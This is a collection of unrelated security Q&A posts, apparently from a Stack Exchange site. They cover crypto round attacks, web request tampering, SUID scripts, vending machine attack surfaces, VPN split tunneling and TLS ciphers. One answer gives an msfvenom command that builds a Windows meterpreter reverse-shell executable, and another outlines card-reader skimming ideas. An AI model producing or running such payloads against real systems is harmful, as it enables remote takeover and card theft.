Many cryptographic algorithms (hash functions, symmetric encryption...) are organized as a sequence of "rounds", which are more or less similar to each other. It was empirically noticed that for a given algorithm structure, usually, more rounds imply more security; precisely, some classes of attacks (e.g. differential and linear cryptanalysis) see their efficiency decrease more or less exponentially with the number of rounds.

When cryptographers don't know how to break a complete algorithm, they try to break reduced versions of the same algorithm, with some features removed; in particular less rounds, for algorithms which have rounds. When SHA-256 is said to be broken "up to 46 rounds", then this means that another hash function, obtained by taking SHA-256 but removing the last 18 rounds, can be attacked (at least in an "academic way": the attack needs not be realistic, it just needs to be less impossible than attacking the full function); but removing only the last 17 rounds yields a function which, as far as we know, is as good as the full thing. Cryptographers will feel safer if the maximum number of attacked rounds is substantially lower than the actual number of rounds in the full algorithm.

Since attack efficiency behaviour tends to be exponential in the number of rounds, not linear, this cannot (and must not) be translated, even intuitively, into: "can break 80% of the rounds -> algorithm broken at 80%". Analogy: suppose you want to increase your fortune, by doubling it ten times. You start with one dollar; after ten doublings, you would have 1024 dollars; that's your goal. After eight doublings, you have 256 dollars. Eight doublings done out of ten: that's 80% of the work, right ? Then how comes you have only 256 dollars, and not 80% of 1024 dollars (which would be 819.2 dollars) ?

To sum up, you should not try to read too much in these assertions. They are scientific results which are interesting for scientists, but which can easily be overinterpreted.


POST Request to Server Assume that a user logged in to a webpage with their own account, then makes a POST request and captures it. With some modification to the captured request, it is being executed. Sure. It goes through without any problems.

Is this a security issue on the development side? Because the modified POST request contains data, which is not on the database/server side. The user changes their name and address then to bypass some restrictions.

What should I look into to prevent this happening again? I do capture the IP of this user. But it seems to me, that we can do better to prevent it with our technical skill.

In an insecure serverside application this would be a problem. But it is most likely to not work against most applications. This is web application security 101.

A properly coded application will take these names/values and sanitize the data server side. Once the data is verified as what it is looking for it will then make them part of the query. So likely any name and value you submit the applications code doesn't recognized will simply be ignored. Basic error handling might even stop the request.

Additionally they may have security tokens in place. This is to prevent someone from making a POST request with fraudulent data and tricking someone else into submitting it and to stop spam submission. So simply submitting a POST request might not allow it to go through at all.

Overall it is a pretty broad subject. But you can read more on how serverside data is securely handled at OWASP if you wish to familiarize yourself better.


Metasploit generate command not working Using the windows/smb/ms08_067_netapi exploit and the windows/meterpreter/reverse_tcp as the payload this is what i get:

msf payload(reverse_tcp) > generate -f ~/Desktop/rootkit.exe -p windows -t exe
[*] Writing 73802 bytes to ~/Desktop/rootkit.exe...
[-] Error while running command generate: No such file or directory @ rb_sysopen - ~/Desktop/rootkit.exe

Call stack:

/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/payload.rb:148:in 'initialize'
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/payload.rb:148:in 'open'
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/payload.rb:148:in 'cmd_generate'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:430:in 'run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:392:in 'block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:386:in 'each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:386:in 'run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:205:in 'run'
/usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in 'start'
/usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in 'start'
/usr/bin/msfconsole:48:in '<main>'

Not sure what the problem is. I'm running Kali in a virtual box. Anyone have any ideas?

To use the ms08_067_netapi exploit, you don't need Windows to execute anything. You can exploit it directly. Not sure why are you creating an executable file to exploit that vulnerability. That's not needed.

Anyway, to create a reverse_tcp meterpreter .exe file, Why don't you use msfvenom?

Out of msfconsole, from a standard terminal. Type:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -f exe > ~/Desktop/rootkit.exe

Don't forget to replace x.x.x.x with your IP address. This IP address should be of your Metasploit's host which is going to listen using exploit/multi/handler while Windows execute the .exe file. The port can be changed too but default 4444 is ok.


Is this a security breach? I read in an article that if the request is authenticated or secure (i.e., HTTPS), it won’t be cached.

But in https, burp has reported an issue stating http response is as follows:

Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
SN: SJVPROD1
Date: Thu, 15 May 2014 20:29:30 GMT
Content-Length: 229

Is this a security breach?

Cache-Control: private

Indicates that all or part of the response message is intended for a single user and MUST NOT be cached by a shared cache, such as a proxy server.

Looking at OWASP: Testing for Browser Cache Weakness

  Browsers can store information for purposes of caching and history.
  Caching is used to improve performance, so that previously displayed
  information doesn't need to be downloaded again. History mechanisms
  are used for user convenience, so the user can see exactly what they
  saw at the time when the resource was retrieved. If sensitive
  information is displayed to the user (such as their address, credit
  card details, Social Security Number, or username), then this
  information could be stored for purposes of caching or history, and
  therefore retrievable through examining the browser's cache or by
  simply pressing the browser's "Back" button.

OWASP says that, preferably the Cache-Control is set to no-cache. With Cache-Control: private information might still be cached within the browser. This can be a security risk if your users tend to use shared computers. This is especially important for websites which send/display sensitive information such as credit card details.

Is it a security breach? no. Can it be a security risk? yes.

You should allign with the website's owner to see what kind of information is shown and stored and if the cache-control should be more restrictive.


How to securely store my passwords? Regarding this:
Are passwords in memory?
So does someone have a good idea on how to securely store my passwords?
The: "passwords.txt" -> ctrl+c; ctrl+v a passw is not very secure.
I have passwords for various places, and they're very long random chars, which change too often.
Are there any good password manager apps, that can securely show passwords stored in them? (e.g.: really protects me from "bad people" getting passwords from memory?)

If your "paranoid dial" is turned up all the way to 11, the short answer is "No".

No matter how you store your passwords, there will at some point be a transfer in memory that is a cleartext representation of some authenticator.  That "cleartext" may be your ASCII password, or it may be a hash of it, but it will still be enough to independently validate your credentials to the recipient.  This is because the authenticator has to be entered in its natural form, before the system can process it for hashing or encryption.

If your concern is about rootkits, malicious debuggers, and similar attacks, there's no method of password management or storage that can keep you totally safe.

The only real mitigation for this vulnerability is to have two-factor authentication, with one factor being a dynamic element of some kind (i.e.: RSA token or "callback" authentication), on everything.  This way, no matter what static elements are captured from your memory, an attacker can never re-use your credentials without the dynamic authenticator.

Of course, there's still the possibility of side-channel attacks such as session hijacking and the like, but those are beyond the scope of this question.

For a more practical means of protecting your password, which will cover most defensible vulnerabilities, you're best served to go with a secure password manager such as KeePass or others like it.


Postfix + MySQL ENCRYPT() encryption method change I already have my mail server (postfix, courier, mysql) and roundcube as my webmail client, Encrypt() is the current password encryption function,

Is there a way to change the default password encryption from Encrypt() function to md5 or any other encryption functions?

And if yes, is it possible to apply it automatically to all old existing users?

i having the same problems. In my case, still use ECRYPT as a method. So, to resolve changes in this way:

$config['password_query'] = 'UPDATE mail.users SET password=ENCRYPT(%p) WHERE email=%u LIMIT 1';

I apologize for the spelling, but I am Brazilian and I need to translate on google translator.


Is BCP38 enough to stop DDOS attacks? BCP38 is a network security standard which has the scope to prevent spoofing the source of DDOS attacks. The main idea is that the ISP shouldn't forward traffic which is not coming from it's network range.

My question is: Is it enough to prevent massive DDOS attacks?

There are types of DDOS attacks which don't use source spoofing and where thus BCP38 does not help. For example the current IoT based DDOS attacks against Dyn, OVH, etc did not use source spoofing at all. Also, DDOS by employing the Slashdot Effect does not make use of spoofed addresses either.

Spoofed addresses are instead mainly used in amplification attacks which is only one of the techniques for DDOS.


Decrypt chunks of pgp encrypted Suppose I have a very large encrypted .csv file (too large to fit in memory). Is there a way to decrypt N bytes of the cyphertext? My goal is to process each row of the .csv in memory without ever writing to disk.

PGP Uses both asymmetric and symmetric encryption.
Data is encrypted with a random key using symmetric encryption using on of these algorithms:

As per RFC 4880:

IDEA
TripleDES
CAST5 (128 bit key, as per [RFC2144])
Blowfish (128 bit key, 16 rounds)
AES with 128-bit key
AES with 192-bit key
AES with 256-bit key
Twofish with 256-bit key

And in RFC 5581:

Camellia 128-bit key
Camellia 192-bit key
Camellia 256-bit key

Then this key, called "session key" is encrypted using the public key of the recipient.
Wikipedia: PGP

Now looking at RFC 4880 Section 13.9 for OpenPGP, it says that a variation of CFB mode is used for the ciphers.

CFB Decryption looks like this :

As shown in the image, you start with iv, key and first block of cipher text and as you go forward you have your plain text block by block decrypted.

So in theory it is possible to have the message decrypted part by part but I haven't seen a tool doing this out of the box probably due to lack of use case. But one can go ahead and develop a tool to do this.


Wireless Adapters for Testing with BackTrack I would like to begin testing and working with BackTrack.  I have heard that the Alfa AWUS036H wireless adapter works well with BackTrack and allows for packet injection.  This adapter, however, is only a wireless b/g adapter.  I was curious if there was something similar to this adapter that would allow for packet injection, work on Windows and Linux (especially BackTrack), and would support wireless b/g/n?  Support for wireless a would be a plus too, but not a requirement.  Also, are there any replacement antenna's that one should consider using with this device?

The first place to look would be the BackTrack wiki: http://www.backtrack-linux.org/wiki/index.php/Wireless_Drivers

There is also a strong community who will provide guidance on the Backtrack forums.


Is posting from HTTP to HTTPS a bad practice? Working on the assumption that SSL serves both to encrypt data and to provide assurance as to the identity and legitimacy of the website, should the practice of providing a logon form on a page requested over HTTP be avoided, even when it posts to HTTPS?

The question relates to a post I made yesterday about the Who's who of bad password practices and some of the feedback suggesting that not visibly seeing the certificate represented in the browser before authenticating was fine if indeed the form posted securely.

To my mind, this sells SSL short as you not only lose the ability to validate the legitimacy of the site before handing over your credentials but you also have no certainty that it is posting over HTTPS. I'm conscious the likes of Twitter and Facebook take this approach, but should they? Am I overlooking something here or is this a practice which should be discouraged?

Update: I ended up detailing the outcome of this question and subsequent discussion in the blog post SSL is not about encryption

OWASP states:

(copied verbatim from http://www.owasp.org/index.php/SSL_Best_Practices)

  Secure Login Pages
  There are several major considerations for securely designing a login page. The following text will address the considerations with regards to SSL.

  Logins Must Post to an SSL Page
  This is pretty obvious. The username and password must be posted over an SSL connection. If you look at the action element of the form it should be https.

  Login Landing Page Must Use SSL
  The actual page where the user fills out the form must be an HTTPS page. If its not, an attacker could modify the page as it is sent to the user and change the form submission location or insert JavaScript which steals the username/password as it is typed.

  There must be no SSL Error or Warning Messages
  The presence of any SSL warning message is a failure. Some of these error messages are legitimate security concerns; others desensitize the users against real security concerns since they blindly click accept. The presence of any SSL error message is unacceptable - even domain name mismatch for the www.

  HTTP connections should be dropped
  If a user attempts to connect to the HTTP version of the login page the connection should be denied. One strategy is to automatically redirect HTTP connections to HTTPS connections. While this does get the user to the secure page there is one lingering risk. An attacker performing a man in the middle attack could intercept the HTTP redirect response and send the user to an alternate page.

To repeat:  Login Landing Page Must Use SSL


Is it possible to securely run user defined python code in AWS? I would like to create an app that accepts users python scripts and executes them as part of its functionality. What I am wondering is if its possible to block I/O, network and other attack vectors so I can have some confidence my AWS resources/account won't be compromised?

Or if I isolate the process into a linux user account with few permissions would that be good enough?

Or is my best bet trying to adopt it to something like Brython or Jupyter to have it run in the browser and rely on those libraries for security?

I know there are companies like Codility that SEEM to do this successfully. However I know of others like Quantopian, that have been hacked. I apologize I don't have a lot of experience with this type of issue.

This is not an AWS question, this is a python sandboxing question.

Real OS-level sandboxes like seccomp can be used to prevent a process running the cpython interpreter running attacker-supplied code from escaping and doing harm. Securely communicating with it to feed input into it and get the result out of it is complicated.

Virtualization can be used, but there have been escapes for Xen, KVM, VMWare, etc.

QubesOS does this, kinda, for desktop use.

Google gvisor is used by GCP to guard customers from other customers.

I would trust a system that really launches a new AWS EC2 instance for each customer to run their script.

Creating a new AWS Lambda to run once and then delete the Lambda function would also work (provided the 5 minute cap on Lambda running time is ok).

Creating a container and running it on AWS EKS and then killing it should also work.

Regardless of the way you run it, you must have a dead-simple impossible-to-do-wrong secure way to get results out, i.e. you must make the format of the result extremely simple, no de-serialization, so it will not be possible to attack your main server through this channel.


How is DNS sinkhole being use? I had some difficulty in grasping the concept on how "DNS sinkhole" is being utilize.
Is it like setting up something similar to a honeypot to lure attackers away from the actual network, so that we as "cyber analyst" will be able to understand and learn about the tactics, techniques and procedure (TTP) being used by the attacker?
For example, I am afraid my data might be exfiltrated by an attacker, and I plan to setup a DNS sinkhole, does DNS sinkhole actually cause an alarm or alert the attacker that DNS sinkhole is being setup?

A DNS sinkhole like pihole (https://pi-hole.net/) just filters DNS requests from your internal network clients and silently blocks those requests that are for undesirable sites; it is NOT a honeypot. It is essentially invisible: just returning "domain not found" for blocked names. Many people use them as ad blockers, or to prevent access to various kinds of "undesirable" destinations.
A do-it-yourself setup like pihole can also improve DNS performance by serving as a local cache, only passing request up to a public DNS server when necessary. DNS filtering is also available as a service from places like OpenDNS (https://www.opendns.com/setupguide/#familyshield), or is an option in many home internet routers.


Why is SUID disabled for shell scripts but not for binaries? While I understand the idea of SUID is to let an unprivileged user run a program as a privileged user, I have found that SUID usually doesn't work on a shell script without some workarounds. My question is, I don't really understand the dichotomy between a shell script and a binary program. It seems that whatever you can do with a shell script, you can also do it with C and compile it into a binary. If SUID is not secure for a shell script, then it's also not secure for binaries. So why would shell scripts but not binaries be prohibited from using SUID?

There is a race condition inherent to the way shebang (#!) is typically implemented:

The kernel opens the executable, and finds that it starts with #!.
The kernel closes the executable and opens the interpreter instead.
The kernel inserts the path to the script to the argument list (as argv[1]), and executes the interpreter.

If setuid scripts are allowed with this implementation, an attacker can invoke an arbitrary script by creating a symbolic link to an existing setuid script, executing it, and arranging to change the link after the kernel has performed step 1 and before the interpreter gets around to opening its first argument. For this reason, all modern unices ignore the setuid bit when they detect a shebang.

One way to secure this implementation would be for the kernel to lock the script file until the interpreter has opened it (note that this must prevent not only unlinking or overwriting the file, but also renaming any directory in the path). But unix systems tend to shy away from mandatory locks, and symbolic links would make a correct lock feature especially difficult and invasive. I don't think anyone does it this way.

A few unix systems implement secure setuid shebang using an additional feature: the path /dev/fd/N refers to the file already opened on file descriptor N (so opening /dev/fd/N is roughly equivalent to dup(N)).

The kernel opens the executable, and finds that it starts with #!. Let's say the file descriptor for the executable is 3.
The kernel opens the interpreter.
The kernel inserts /dev/fd/3 the argument list (as argv[1]), and executes the interpreter.

All modern unix variants including Linux implement /dev/fd, but most do not allow setuid scripts. OpenBSD, NetBSD and Mac OS X support it if you enable a non-default kernel setting. On Linux, people have written patches to allow it but those patches never got merged. Sven Mascheck's shebang page has a lot of information on shebang across unices, including setuid support.

In addition, programs running with elevated privileges have inherent risks that are typically harder to control in higher-level programming languages unless the interpreter was specifically designed for it. The reason is that the programming language runtime's initialization code may perform actions with elevated privileges, based on data that's inherited from the lower-privilege caller, before the program's own code has had the opportunity to sanitize this data. The C runtime does very little for the programmer, so C programs have a better opportunity to take control and sanitize data before anything bad can happen.

Let's assume you've managed to make your program run as root, either because your OS supports setuid shebang or because you've used a native binary wrapper (such as sudo). Have you opened a security hole? Maybe. The issue here is not about interpreted vs compiled programs. The issue is whether your runtime system behaves safely if executed with privileges.

Any dynamically linked native binary executable is in a way interpreted by the dynamic loader (e.g. /lib/ld.so), which loads the dynamic libraries required by the program. On many unices, you can configure the search path for dynamic libraries through the environment (LD_LIBRARY_PATH is a common name for the environment variable), and even load additional libraries into all executed binaries (LD_PRELOAD). The invoker of the program can execute arbitrary code in that program's context by placing a specially-crafted libc.so in $LD_LIBRARY_PATH (amongst other tactics). All sane systems ignore the LD_* variables in setuid executables.
In shells such as sh, csh and derivatives, environment variables automatically become shell parameters. Through parameters such as PATH, IFS, and many more, the invoker of the script has many opportunities to execute arbitrary code in the shell scripts's context. Some shells set these variables to sane defaults if they detect that the script has been invoked with privileges, but I don't know that there is any particular implementation that I would trust.
Most runtime environments (whether native, bytecode or interpreted) have similar features. Few take special precautions in setuid executables, though the ones that run native code often don't do anything fancier than dynamic linking (which does take precautions).
Perl is a notable exception. It explicitly supports setuid scripts in a secure way. In fact, your script can run setuid even if your OS ignored the setuid bit on scripts. This is because perl ships with a setuid root helper that performs the necessary checks and reinvokes the interpreter on the desired scripts with the desired privileges. This is explained in the perlsec manual. It used to be that setuid perl scripts needed #!/usr/bin/suidperl -wT instead of #!/usr/bin/perl -wT, but on most modern systems, #!/usr/bin/perl -wT is sufficient.

Note that using a native binary wrapper does nothing in itself to prevent these problems. In fact, it can make the situation worse, because it might prevent your runtime environment from detecting that it is invoked with privileges and bypassing its runtime configurability.

A native binary wrapper can make a shell script safe if the wrapper sanitizes the environment. The script must take care not to make too many assumptions (e.g. about the current directory) but this goes. You can use sudo for this provided that it's set up to sanitize the environment. Blacklisting variables is error-prone, so always whitelist. With sudo, make sure that the env_reset option is turned on, that setenv is off, and that env_file and env_keep only contain innocuous variables.

All these considerations apply equally for any privilege elevation: setuid, setgid, setcap.

  Recycled from https://unix.stackexchange.com/questions/364/allow-setuid-on-shell-scripts/2910#2910


How can vending machines be hacked? And how can I prevent it? I am developing a vending machine and want to make it secure.

In a comment to my previous question, @Polynomial said "Vending machines (and similar devices) can often be pwned via buffer overflows on all sorts of easily accessible interfaces."

I thought that buffer-overruns were the result of user input, and I certainly don't plan to have any in my vending machine (well, cash of course  and the keypad to select a vend, but otherwise ... I will update the firmware and the pricing data from files on an SD card, but that is being discussed in my previous question).
I quibble over "easily accessible interfaces" since all interfaces are inside a physically locked cabinet and, as was pointed out in the previous question, once the door is open it's easy enough to take the cash and run.

But, I freely confess that am a total n0b at this security thing. Please advise me of what I need to watch out for. How would you - theoretically - hack or otherwise steal from a vending machine? What could cause me the greatest loss? And what can I do to prevent it?

[Update] v1.0 is a soft-drinks vending machine, but we could use it for other porpoises - maybe even ticketing. V1.0 is not networked, but I hope that v2 will be (at which point, I plan to encrypt all network traffic).

I am thinking about @tylerl saying that most attacks would be physical and am doing a lot of testing on pulling the power during vend/refund, to see if I can get both the soda and the cash. It doesn't sound much, but if it can be done consistently and word gets around ...

I also think a tilt sensor would be a good idea and cheap to include.

When I wrote that comment, I was referring to vending machines in a generalised sense - including things like ticket machines as well as the obvious food-dispensing ones. I was specifically thinking about a model of ticket vending machine at a place I frequent, which has the following interfaces:

Keypad
Credit / debit card terminal
RFID for contactless use of a customer loyalty card, but also for employee override.
Ethernet cable plugged in the back.
JTAG port behind the front panel (requires you to unlock the front panel, but it's only a tubular pin lock and can easily be defeated)

So, how might we own such a vending machine? Well, it's got enough interfaces for us to try...
Keypad
The keypad is an interesting vector, but it's unlikely to fall to any form of buffer overflow since there aren't really any buffers involved. At most we might be able to figure out some sort of back-door access code that gets us into a config screen, but it's doubtful.
Credit / debit card terminal
The one near me has an Ingenico i3300 card reader fixed into a recess in the side of the machine. I happen to have one to hand (yay eBay!) and can approach the reverse engineering of it in two ways:

Attack the hardware. There's an FCC ID on the device, which I used to pull up the regulatory information from the Office of Engineering and Technology. The FCC deal with emissions testing and a bunch of other stuff, and as part of an application the company must provide detailed documentation of the product, internal and external photos (great for me, since opening the device myself would trip the tamper detect) and other test data. From there, I might discover a weakness in how the card reader detects intrusions, and find a way to open it and mess with the internal firmware. If I screw up, it's not a big deal - I can pick up another for less than £10 on eBay. Alternatively, I could remove the real board and replace it with my own, with an XBee / bluetooth / 802.11x device that transmits card info and pin numbers.
Attack the software. There has been a lot of research into this (e.g. PinPadPwn) and many devices are vulnerable to buffer overflows from custom cards. It's possible to program the chips on chip & pin cards to install firmware mods onto a device, simply via putting them in the device as if you were a normal customer. It's then possible to come back later and download card numbers and pins onto another special card. Scary, eh?

RFID
This is a likely source of ownage. It's a bi-directional communications port that allows us to send and receive data that will be directly handled by code on the machine itself, rather than a separate module. A lot of RFID data contains strings and integers, so overflows are likely. We could also take a look at capturing the data from an employee override swipe, which could open up new possibilities to steal stuff from the machine. In order to actually fuzz the device, we'd need to have the vending machine in our possession. This time, I don't happen to have one to hand. The physical possession requirement with such a large bit of kit does give a barrier to entry, but it's possible to get them second hand. A discrete RFID sniffer should be able to record data from live transactions, though, which could be used to replay communications.
Ethernet
When I saw the ethernet cable, I giggled like a script kiddy finding an SQL injection hole. It's trivial to unplug one of these cables and insert a pass-through device to record and alter traffic going to and from the device. You could do this with an embedded device like a Wifi Pineapple. It's low cost and potentially high-yield, because you can monitor and fuzz live devices from a distance. I've got no idea what data is going down those lines, but it'd be fun to find out.
JTAG
If you can get the cover off, the JTAG port is the pinnacle of pwnage. The device is probably an embedded Linux system running on an ARM chip, so getting access to the JTAG gives you full control over the processor and RAM. You'd be able to pull out a memory image (probably containing firmware) and analyse it, and later go back and make changes. If the bad guys can get at your JTAG, you're owned.

So, how can you stop this from being attacked? For a large part you can't, but mitigation is an important thing. Here are a few tips:

Remember that you're dealing with money, and take security precautions as such. Tip sensors on food vending machines aren't useful if a bad guy can turn them off with a magnet, or change the software to avoid the alarm.
Choose card machine vendors that have a long track history of no security issues, and get some insurance against any failings in that department.
Lock communications ports down, and have a way to lock any ethernet cables into the device so that they can't be easily replaced.
Use transport security (e.g. SSL) if you're talking to external devices via TCP/IP.
If they're network-connected devices, segment them from your internal network. Plugging a device into an ethernet socket is so damn easy.
Have your software reviewed by a security consultant - especially if you've got RFID or NFC involved.
Don't use tubular pin locks that can be defeated with a damn pen. Use a proper lock.
Stay paranoid.


What are the techniques to know if VPS cloud hosting provider is accessing my data? Immutable laws of security: https://fossbytes.com/10-immutable-laws-security-microsoft/

  If a bad guy has unrestricted physical access to your computer, it’s not your computer anymore.

I understand the hosting provider can access any data, similar questions below:

Could a cloud provider access your data?
How do I ensure that a VPS host will keep my information private?
https://serverfault.com/questions/107972/can-a-hosting-provider-access-files-inside-our-vps-accounts

I would like to know when it is happening. How?

Something similar too: https://en.wikipedia.org/wiki/USBKill - call home when a machine is accessed?

WWII operation: https://en.wikipedia.org/wiki/Operation_Mincemeat#Deception_documents

  A single black eyelash was placed within the letter to check if the Germans or Spanish had opened it.

EDIT / UPDATE / REAL LIFE USE CASE: The original question reads "accessing my data". In fact I would like to expand it to the actual use case that I'm trying to implement. Bitcoin. Lightning Network. Keeping my node online 24/7, that's what VPS is for. At the same time, I'm genuinely worried that the hosting provider can simply user their privileges to grab all the secrets, wallets, private keys from my machine. I know it's kind of game over right from the start, but maybe I can at least know if they are honest or not.

No, this is impossible.

They can bypass the OS and any other code you have running by simply cloning the hard-drive and looking at it.  Even if the drive is encrypted, they control all the ways you would get a decrypt key to the box ... so they pretty much have that too.

Only way you can have data on a VPS and not have the possibility of the VPS host have access to it is to encrypt it before it is sent to the VPS, and decrypt it after it comes off the VPS.


Attack scenario when using split tunnel VPN Background
As many others I am working from home and we use a VPN to access services from the company intranet (SMB fileshares, git repo, project management etc).
To improve things like video calls I suggested to our IT to enable split tunneling to allow traffic not determined for the company intranet to use the home internet connection directly. However this was rejected with the reason that "split tunneling increases the risk for the company intranet".
I tried to understand the risks that arise from split tunnelling, but besides reading "it increases the risk" I did not really find any concrete explanations how an attacker can leverage the split tunnel.
Question
Give a couple of boundary conditions

employee productivity monitoring or blocking certain sites (unless obviously malicious) is not the reason to require a full tunnel.
Connecting to the VPN requires a compliance check on the endpoint.

but: Despite best-effort compliance checks an endpoint might be infected/insecure (e.g. due to a 0day).

employee himself doesn't do something obviously stupid like bridging the internet connection to the VPN connection.
Unless requiring services from the intranet endpoints don't use the VPN and use the home internet connection.
endpoints are not connected directly to the internet but are behind a NAT.

My question is: What are attack scenarios that an attacker can exploit when using a split tunnel, and how would the full tunnel protect from that?
Edits / additions

On what is monitored, inspected, restricted:

Terabytes of data flowing out to a suspicious domain might cause raised eyebrowes. But large uploads to popular filesharing sites (e.g. weshare), are normal.
No deep packet inspection.
certain ports are blocked (such as, no outgoing ssh or SMTP).

isn't the "blocking ... obviously malicious" not already an argument for using the full tunnel?

and

Do you mean by this that the same system which is used with full VPN to access the company, has at other times unrestricted (and unprotected) access to the internet?

Yes, correct. Endpoints can easily visit any site when they disconnect from the VPN, so while they would be protected when using the you cannot rely on that protection.

Since in your specific setup the home office computers are either connected with a full VPN tunnel to the company or have full direct access to the internet (i.e. VPN off), the main point of the VPN is obviously not to protect the computer itself. With such a setup it is still possible that an attacker can compromise the system and establish a permanent presence on it, only to later move further into the companies infrastructure once the full VPN is established.
But a full VPN can make such lateral movement more difficult, in that it might prevent the outside attacker to easily control the compromised system once it is using the VPN. With a split VPN an unfiltered connection to the attacker can be kept while at the same time being connected to the company network. With a full VPN instead only filtered connections to the internet are possible, which ideally prevents access for the attacker. Of course there might still be ways to tunnel the attackers connection but it is more difficult and it is less stealth than before.
Additionally the normal web browser can be used for cross-origin attacks, where one origin is the attacker on the internet and the other the company network. This is because the same browser has access to both networks and can connect to both at the same time, even from within the same web page. This makes for example attacks like CSRF or DNS rebinding possible. See also Attacking the internal network from the public Internet using a browser as a proxy for more such cross-origin attacks.


Can (and should) TLS be strict about the ciphers it supports? When trying to establish a TLS channel to outlook.com in order to relay SMTP traffic I get connection failures and have to continue without encryption.

An example of such a connection:

openssl s_client  -starttls smtp -crlf -connect x-com.mail.eo.outlook.com:25 -CApath /etc/ssl/certs/ -cipher DHE-RSA-AES256-SHA
CONNECTED(00000003)
139677700306600:error:140790E5:SSL routines:SSL23_WRITE:ssl handshake failure:s23_lib.c:177:
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 343 bytes and written 137 bytes
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
---

According to the snipet above I attempt TLS using DHE-RSA-AES256-SHA. Shouldn't there be a renegotiation until the two parties aggree and establish a TLS connection? What would happen if one of the parties is not capable to use all required ciphers and algorithms?

Please don't confuse TLS negotiation with a bazaar were all parties negotiate and renegotiate until they find some common solution. Since every message needs time for delivery that would be much too slow. Thus there is only a single offer by the client which includes all ciphers the client is willing to support, in the order preferred by the client. If the server has support for any of these ciphers it will pick the best based on servers or clients preference. If there is no overlap the negotiation fails permanently.

In your case the server accepts the following ciphers (as determined by this tool):

ECDHE-RSA-AES256-SHA384
ECDHE-RSA-AES128-SHA256
ECDHE-RSA-AES256-SHA
ECDHE-RSA-AES128-SHA
AES256-SHA256
AES128-SHA256
AES256-SHA
AES128-SHA
DES-CBC3-SHA

Since you only offer a single cipher DHE-RSA-AES256-SHA and this cipher is not supported by the server the negotiation fails.


Are partial passwords a security improvement over full passwords? With full password authentication, you need to enter the full password every time.

With partial password authentication, you're asked for some subset of the password each time, and which characters you need is different for each attempt.

This paper says some things about partial passwords.

The main security benefit supposedly is that it guards against people who see you enter the password. With full passwords, once it's been seen once, they can login whenever they want. With partial passwords, seeing it once doesn't get them in unless, the exact same characters are requested again.

Just for the sake of discussion, I'll call the one who sees you the "observer" and the event where they see you enter a correct partial password once an "observation".

Observer doesn't need to be a person. Key-loggers can do the job too.

The paper looks at an attack where an attacker gets one chance to login and can only know characters that have been observed, and how the probability of success is related to the number of observations. Actually that probability increases very fast, which suggests partial passwords aren't adding all that much security.

But of course real attackers are a lot smarter than that. They may only need one observation for a brute force attack to be viable. There's various different ways of making passwords, like Diceware, but generally the characters are related, because that makes them easy for us to remember. It also means that knowing one character helps figure out the others. At the very least an attacker can apply a dictionary to cut down the password search space by a lot. That's also assuming they need the full password, which they don't, they only need some few characters when they try to login, and some of those they may already know.

With full passwords, one observation brings the guessing entropy down to 0. With partial passwords, it wouldn't destroy all the guessing entropy, but I think the drop would be large enough to push most passwords into brute forcing range, so not much improvement there over full passwords.

Attackers can also guess the characters in an authentication challenge. Those few characters have a lot less guessing entropy than the full password, so there is a weak point there. If they get it right, they will be authenticated once. It also reveals some characters like an observation, and those known characters can be used in other attacks.

As for database compromises and offline cracking, partial passwords are a little worse. Once an attacker has one observation, either created from brute forcing or actually observed, they can figure out the rest of the characters. They can have one guessed character and the rest known characters, and try the values for the guessed character until they get it. The whole password is revealed in linear time. At least, that's what would happen with a simple implementation using Shamir's secret sharing and some hashing, perhaps other methods can mitigate these problems.

Some banks are already using this, so it seems partial passwords are more secure in some way, or maybe it's just security theater. I'm skeptical that partial passwords offer much security improvement, but I haven't done much statistics to see how much protection it could offer. Have I missed something here? Are partial passwords any significantly more secure than full passwords? Or perhaps less secure?

I intended originally to compare the guessing attacks to the Hangman game, but it's different enough that I'd be giving the wrong idea, so I cut that out. Still interesting to think about it that way though, Hangman with passwords.

Threat Modeling
Here is the question you need to answer first: "What is the most common way passwords are stolen?".  Sometimes security measures can't help but present trade offs in one way or another, so a more "secure" method is only "better" if it protects you against the most likely threats.  So let's consider where passwords are most in danger.
Despite not having a reference, I think it is safe to say that the answer is a resounding Hackers gaining access to poorly secured passwords in web applications.  As evidence I merely point out the fact that some of the largest dumps of leaked passwords from websites number in the hundreds of millions and even billions of passwords.  It just seems impossible for "shoulder surfing" (whether via keyloggers or actual shoulder surfing) to be as important as a threat to the average person's security than poorly secured passwords in a database.
The big picture
Here's my point: even if asking for partial passwords granted users substantial protection against shoulder surfing, and even if you did it in a way such that brute forcing the login endpoint (which is effectively what you are thinking about when you discuss decreased entropy), it would still be extremely dangerous because it will require violating the most important rule of password security.  Namely, I think it would be just about impossible to pull this off unless you stored passwords in plain text or (barely better) with reversible encryption.  You could probably come up with a way to do it by using "strong" hashing on all possible combinations of partial-passwords for every user, but I imagine that such a system would be quite a pain to manage from a code/database storage perspective.  As a result, you would have to weigh whether or not the increased security (which is not clearly better) is worth the additional hassle of a more complicated login system and the increased chance of bugs that naturally comes from doing things "fancier".
My Answer
As a result, I would say that they are almost certainly substantially less secure, as I would guess that most implementations are storing passwords in plain-text on the server side.  This makes the passwords much more vulnerable in the event of a data breach, which is a substantially more likely threat to your average web user.  Securing the user from an obscure threat vector while making them more vulnerable to the threat that is most common is a big loss.  I don't know whether or not the benefits claimed in the article are accurate or not, but I think they are missing the big picture, and therefore the question is moot.
An aside
